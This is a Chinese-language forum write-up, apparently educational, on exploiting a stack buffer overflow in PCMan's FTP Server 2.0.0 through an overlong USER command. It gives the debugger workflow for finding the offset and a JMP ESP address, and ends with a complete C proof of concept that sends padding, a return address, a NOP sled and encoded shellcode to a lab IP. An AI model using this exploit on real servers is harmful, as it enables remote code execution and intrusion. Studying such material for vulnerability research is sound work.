-
-
[原创]PCManFTPD2.exe经典缓冲区溢出漏洞[详解]新版
-
2021-6-12 21:02 4693
-
1.软件简介
PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点
软件界面
漏洞成因
PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码。
原因:未对USER命令长度做限制
环境和工具:
PCMan's FTP Server 2.0.0,x32dbg,windbg,Mona2插件,vs,win7-x86
具体思路步骤:
- 首先确定异常点的偏移,可以使用二分法和有序数.(这里使用windbg的插件Mona2自动生成有序数实验)
- Windbg(用来定位 JMP ESP地址)
- x32dbg测试
- vs编写测试代码和ShellCode
配置环境:
1.虚拟机win7旗舰版sp1
2.安装wdk,自带windbg
3.安装python2.7.2
4.安装Visual C++2008库
5.安装WinDbg的Python插件Pykd
6.复制mona.py和windbglib.py到WinDbg同目录
7.运行WinDbg随便调试一个程序进行测试以上环境windbg指令 说明
测试环境:
pykd.pyd测试
mona测试
软件测试:
FTP需要符合标准才可以通信:RFC959
因为此漏洞溢出点在登录阶段,所以只要建立FTP连接就可以了
1.建立Socket连接,连接目标FTP
2.接受FTP服务器的欢迎语(用于测试响应状态)
3.发送“USER anonymmous”到FTP
4.接受请求结果与ftp软件建立通讯测试vs代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | #include<stdio.h> #include<winsock2.h> #include<windows.h> #pragma comment(lib,"Ws2_32.lib") int main() { WSADATA stWSA; WSAStartup( 0x0202 , &stWSA); SOCKET stListen = INVALID_SOCKET; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0 , 0 , 0 ); SOCKADDR_IN stService; stService.sin_addr.s_addr = inet_addr( "192.168.132.130" ); stService.sin_port = htons( 21 ); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR * )&stService, sizeof(stService)); / / 4. 接收欢迎语 char szRecv[ 0x100 ] = { 0 }; char * pCommand = (char * ) "USER anonymmous" ; recv(stListen, szRecv, sizeof(szRecv), 0 ); / / 5. 发送登录请求 char cExpolit[] = "USER anonymmous" ; send(stListen, cExpolit, strlen(cExpolit), 0 ); recv(stListen, szRecv, sizeof(szRecv), 0 ); / / 6. 关闭相关句柄 closesocket(stListen); WSACleanup(); } |
FTP软件通讯测试
构造顺序字符串
用mona构造生成一个3000个字节的顺序字符串,用于测试溢出点
命令:!py mona pc 3000
输入命令:
0:003> .load pykd.pyd
0:003> !py mona
将复制的顺序字符串替换掉" USER anonymmous "如图
再次发送测试
发现测试代码停在等待服务器信息处不能退出
虚拟机中的FTP程序已经崩溃
打开windbg,附加FTP软件,查找溢出点
- 先运行PCManFTPD2软件
- 打开windbg按F6附加程序
- 在windbg输入命令
a) .load pykd.pyd
b) !py mona
c) 按F5运行 - 让FTP处于接收状态
- 点击vs代码运行
因为是用mona生成的顺序字符串,可以直接查询异常偏移点
得到偏移后,在系统中查找一个JMP ESP作为跳板
注意:我们尽量找不含00字节的地址,因为我们传输的是字符串方式,一般默认为00 是结束符,可能会产生截断.这里找kernel32.dll中的.
这里选取0x75b7f8f7为跳板地址
ShellCode组合逻辑
第二个是:无意义的字符串,大小2008个字节
第三个是:找到的JMP ESP地址:第2009个字节开始
为防止jmp eap 后的ret,跟18个 ‘\x90’字节’
第四个是:拼接ShellCode,测试效果构造Exploit
12sprintf(cExpolit1,
"%s%s%s%s"
, cFill, cJmpesp, cNop, bShellcode);
/
/
注:ShellCode中不能有
0x00
,
0x0a
,
0x0d
,
0x20
因为这些ASCII一般被解释为截断,回车换行等,可能发生意外情况.
再次测试:
在0x75b7f8f7 jmp esp 处下断点PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | C + + 脚本: #include<stdio.h> #include<winsock2.h> #include<windows.h> #pragma comment(lib,"Ws2_32.lib") char cExpolit1[ 3000 ] = { 0x00 }; char bShellcodeHelloWord[] = \ "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1C\x33\xC9\x66\xB9\x37\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6" \ "\x67\x84\xEB\x27\xEC\x4B\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63" \ "\x75\x62\x74\x74\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42" \ "\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62" \ "\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75" \ "\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x07\x36\x32\x57\x45" \ "\x26\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C" \ "\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x13\x07\x07" \ "\x07\x8C\xF7\x55\x8A\x4C\xBA\x56\x55\xF8\xD7\x5D\x54\x51\x57\x55" \ "\xEF\x69\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C" \ "\x75\x3B\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B" \ "\x3D\x8E\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23" \ "\x8A\x3B\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33" \ "\x81\x8C\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA8\xBE\x09\x07" \ "\x07\x07\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41" \ "\x8C\x52\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A" \ "\xC5\x0F\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB\x6D" \ "\x07\x6D\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17\x8E" \ "\x42\xFB\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A" \ "\x4C\xE8\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF" \ "\x8C\xE2\x5A\xC5\x17\x07\x07" ; int main() { WSADATA stWSA; WSAStartup( 0x0202 , &stWSA); SOCKET stListen = INVALID_SOCKET; stListen = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0 , 0 , 0 ); SOCKADDR_IN stService; stService.sin_addr.s_addr = inet_addr( "192.168.132.130" ); stService.sin_port = htons( 21 ); char cFill[ 3000 ] = { 0 }; / / 修改为 0x3000 char cNop[ 51 ] = { 0 }; memset(cFill, 'A' , 2008 ); / / 注意为'单引号 memset(cNop, '\x90' , 50 ); char cJmpesp[] = { "\xF7\xF8\xB7\x75" }; sprintf(cExpolit1, "%s%s%s%s%s" , cFill, cJmpesp, cNop, bShellcodeHelloWord, "\r\n" ); stService.sin_family = AF_INET; connect(stListen, (SOCKADDR * )&stService, sizeof(stService)); / / 4. 接收欢迎语 char szRecv[ 0x100 ] = { 0 }; char * pCommand = (char * ) "USER anonymmous" ; recv(stListen, szRecv, sizeof(szRecv), 0 ); / / 5. 发送登录请求 send(stListen, cExpolit1, strlen(cExpolit1), 0 ); recv(stListen, szRecv, sizeof(szRecv), 0 ); / / 6. 关闭相关句柄 closesocket(stListen); WSACleanup(); } |
结语
对jmp esp 0x75b7f8f7下断点,发现堆栈地址为0x12ed70
再用刚才的poc,寻找没有覆盖溢出点的地方,然后我们在这个地方下硬件写入断点,然后观察堆栈以及数据覆盖变化
找能下断的地方
硬件写入断点ba w4 0012ed60 ".if(poi(0012ed60 )=0x41414141 ){}.else{gc}"
断下了
验证
解决方法:
为避免此种问题,应对USER命令长度做合理限制,避免溢出.
参考资料
<15PB信息安全教育-漏洞利用> ---任晓辉
<漏洞利用之PCMan-s FTP笔记> ---刘晨星
赞赏
他的文章